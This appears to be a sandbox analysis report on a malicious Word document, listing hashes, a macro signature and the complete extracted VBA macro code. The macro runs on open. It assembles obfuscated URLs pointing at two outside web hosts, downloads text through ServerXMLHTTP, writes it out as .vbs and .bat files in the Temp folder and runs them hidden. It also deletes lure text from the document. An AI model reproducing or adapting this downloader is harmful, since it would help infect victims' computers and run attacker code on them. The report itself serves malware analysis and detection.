Behavioral task
behavioral1
Sample
c683e3a12ab2e80aa4247a1c8ed6b9c565e0241212bc9730596e69ee54807b57.doc
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
c683e3a12ab2e80aa4247a1c8ed6b9c565e0241212bc9730596e69ee54807b57.doc
Resource
win10v2004-20220812-en
General
-
Target
c683e3a12ab2e80aa4247a1c8ed6b9c565e0241212bc9730596e69ee54807b57
-
Size
82KB
-
MD5
9f2f238060db0b5bcac97b4cbc9dbf0c
-
SHA1
08349ab6aea31cd96799f605cc83a0b893c94177
-
SHA256
c683e3a12ab2e80aa4247a1c8ed6b9c565e0241212bc9730596e69ee54807b57
-
SHA512
96e33bca341cd6b92122514a6ad824091b20589b77beec4f2c51a3af88ec9e4bc815daf980c9ce33c1c57d8419e0dd9a9a4b3d9027330db1683688c2a847db29
-
SSDEEP
1536:3t9605GY3JGY3IXt6e/gL3mgf4eqgcwGQ+/:d96tt6e/22CbfGD
Malware Config
Signatures
-
Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule sample office_macro_on_action -
resource sample
Files
-
c683e3a12ab2e80aa4247a1c8ed6b9c565e0241212bc9730596e69ee54807b57.doc windows office2003
ThisDocument
1Attribute VB_Name = "ThisDocument"2Attribute VB_Base = "1Normal.ThisDocument"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = True8Attribute VB_Customizable = True910Sub Auto_Open()11Touri12End Sub13Sub Touri()14NUQDQW = "2njek1 h2gejh1g hj21ge"15MakMak16End Sub17Sub AutoOpen()18Touri19End Sub20Sub MakMak()2122Dim MADRID As String, MOTOROLA As String, KIPARIS As String23Dim TSTS As String, CDDD As String, LNSS As String, STT1 As String, STT2 As String24Dim PBIn As String, CONT As String25Dim Ndjs As Integer26Dim ABTH As String, BBTH As String27Dim klmn As Integer, TTKK As String28Dim GEFORCE1 As String, GEFORCE2 As String, hdjshd As Integer293031KIPARIS = Module2.hhr(92)32MADRID = Samsung(9828)33MOTOROLA = "Tem" & "p"34PH2 = Module1.Goabc(MOTOROLA) + KIPARIS3536ART = 31537BFT = 3163839Ndjs = Sgn(Asc(Module2.Kakarumba(1)) - 342) + 104 + 140ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8) + ":" + "//" & ""414243TSTS = "" & ".tx" + "t" + ""44CDDD = "777763172631572" + TSTS45LNSS = "rara" + TSTS46STT1 = "hutsul.b" + "iz/ad" + "min" + "ist" + "rator/co" + "mpone" + "nts/c" + "om" + "_j" + "o" + "oml" + "aup" + "d" + "a" + "te" + "/"47STT2 = "hazmatshower.c" + "om/w" + "p BA" + "CKUP - 12-20-11/w" + "p/w" + "p-c" + "ont" + "ent/t" + "hemes/in" + "spire/in" + "cludes/wi" + "dgets/"484950PBIn = ATTH + STT1 + CDDD5152CONT = Module2.Klklklklklkl(PBIn)53BHJD = Right(CONT, 15)54hdjshd = InStr(1, BHJD, "exit")5556If (hdjshd = 0) Then57PBIn = ATTH + STT2 + CDDD58CONT = Module2.Klklklklklkl(PBIn)59NFBH = Module2.Klklklklklkl(ATTH + STT2 + LNSS)60Else61NFBH = Module2.Klklklklklkl(ATTH + STT1 + LNSS)62End If6364Module2.Crispy (1)6566CPLRP1 = "pioneer"67CPLRP2 = "paytina"68CPLRP3 = "cranberry"6970CONT = Replace(CONT, CPLRP1, PH2, 1)71CONT = Replace(CONT, CPLRP2, NFBH, 1)72CONT2 = Replace(CONT, CPLRP3, MADRID, 1)7374TTKK = "$"7576klmn = CInt(Len(CONT2))77For i = 1 To klmn78If (Mid(CONT2, i, 1) = TTKK) Then79If (Mid(CONT2, i - 1, 1) = TTKK) Then80GEFORCE1 = Mid(CONT2, 1, i - 2)81GEFORCE2 = Mid(CONT2, i + 1, klmn - i)82End If83End If84Next i8586ABTH = PH2 + MADRID + ".vbs"87BBTH = PH2 + MADRID + ".bat"888990Open ABTH For Output As #ART91Print #ART, GEFORCE192Close #ART9394Module2.Crispy (1)9596Open BBTH For Output As #BFT97Print #BFT, GEFORCE298Close #BFT99100Module2.Crispy (1)101102QUHDQ = Module2.Fuflmdjoo(BBTH)103Module1.Hameleon104105End Sub106Sub Workbook_Open()107NJQKDNQW = "2jehk1h jk2g1ehjgjh1gejh1 sa"108Touri109End Sub110Public Function NHdjhasbdhas(a As Object)111NHdjhasbdhas = (a.responsetext)112End Function113Public Function Samsung(a As Integer)114Randomize115Samsung = CStr(Int((a / 2 * Rnd) + a))116End Function117Public Function Creasqwdqwjdk(a As String)118Creasqwdqwjdk = CreateObject(a)119End Function120Public Function Hhqudhqwgyuqwaaa(a As Integer)121Hhqudhqwgyuqwaaa = Sgn(a)122End Function123124125126127128129130131132Module1
1Attribute VB_Name = "Module1"2Sub Hameleon()3Dim ij As Integer4Dim charCount As Integer5charCount = ActiveDocument.Characters.Count - 16BHDW = "#"7JFQW = "$"8ij = 09Do While True10ij = ij + 111If (ActiveDocument.Characters(ij) = BHDW) Then12If (ActiveDocument.Characters(ij - 1) = JFQW) Then13ActiveDocument.Range(Start:=0, End:=ij).Delete14ActiveDocument.Range(Start:=0, End:=charCount - ij - 1).Font.ColorIndex = wdBlack15Exit Do16End If17End If18If (ij = charCount) Then19Exit Do20End If21Loop22End Sub2324Public Function Goabc(sps As String)25OIQJDWQ = "khjqkjwd ghqwgd "26Goabc = Environ(sps)27End Function282930313233343536373839Module2
1Attribute VB_Name = "Module2"2Public Function Fuflmdjoo(a As String)3Dim bydd As Variant4bydd = Shell(a, 0)5NJKHWDWQ = "qwhdjqw jkdghqwdjqqjh djqgw "6End Function7Public Function Kakarumba(n As Integer)8Dim i As Integer9For i = 1 To n Step 110Randomize11Kakarumba = Kakarumba + Chr(Int(121 * Rnd) + 97)12Next i13BHQWJD = ""14End Function15Public Function Klklklklklkl(nbqjbdjqw As String)16Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Mhdbqwdbnsagdwhqdghd As Object, AHUDWQI As String17Dim ashdUHhda As String, dddc As Integer, AABDBHDDD As String, AsaHuhqdjhasd As String, AAHQJD As String18AsaHuhqdjhasd = nbqjbdjqw19ashdUHhda = AsaHuhqdjhasd20'gHSJAsas21dddc = 1 - (Atn(10 + 10))22HQDUQ = hhr(Val(81 + dddc))23BHQDHJWQDW = "ML" & "2.S" & "erverX" & "MLH"24BYGDWHQGWHDWQ = BHQDHJWQDW + "TT" + HQDUQ25'hjagsdhjgd26AABDBHDDD = "E"27NBWHDWDQ = Chr(11 * 2 * 4 + 4 * dddc)28AABDBHDDD = "G" + AABDBHDDD & NBWHDWDQ29DWQJDIQWDKWQJDHBB = "MSX" + BYGDWHQGWHDWQ30'hsdufj dsg hgdshjgfasdwqwqd31Set Mhdbqwdbnsagdwhqdghd = CreateObject(DWQJDIQWDKWQJDHBB)32'wdqwd33Mhdbqwdbnsagdwhqdghd.Open AABDBHDDD, ashdUHhda34Mhdbqwdbnsagdwhqdghd.Send (AHUDWQI)35AAHQJD = ThisDocument.NHdjhasbdhas(Mhdbqwdbnsagdwhqdghd)36Klklklklklkl = AAHQJD3738End Function3940Sub Crispy(NumOfSeconds As Long)41Dim SngSec As Long42SngSec = Timer + NumOfSeconds43Do While Timer < SngSec44DoEvents45Loop46End Sub474849Public Function hhr(sps As Integer)50hhr = Chr(sps)51End Function525354555657585960616263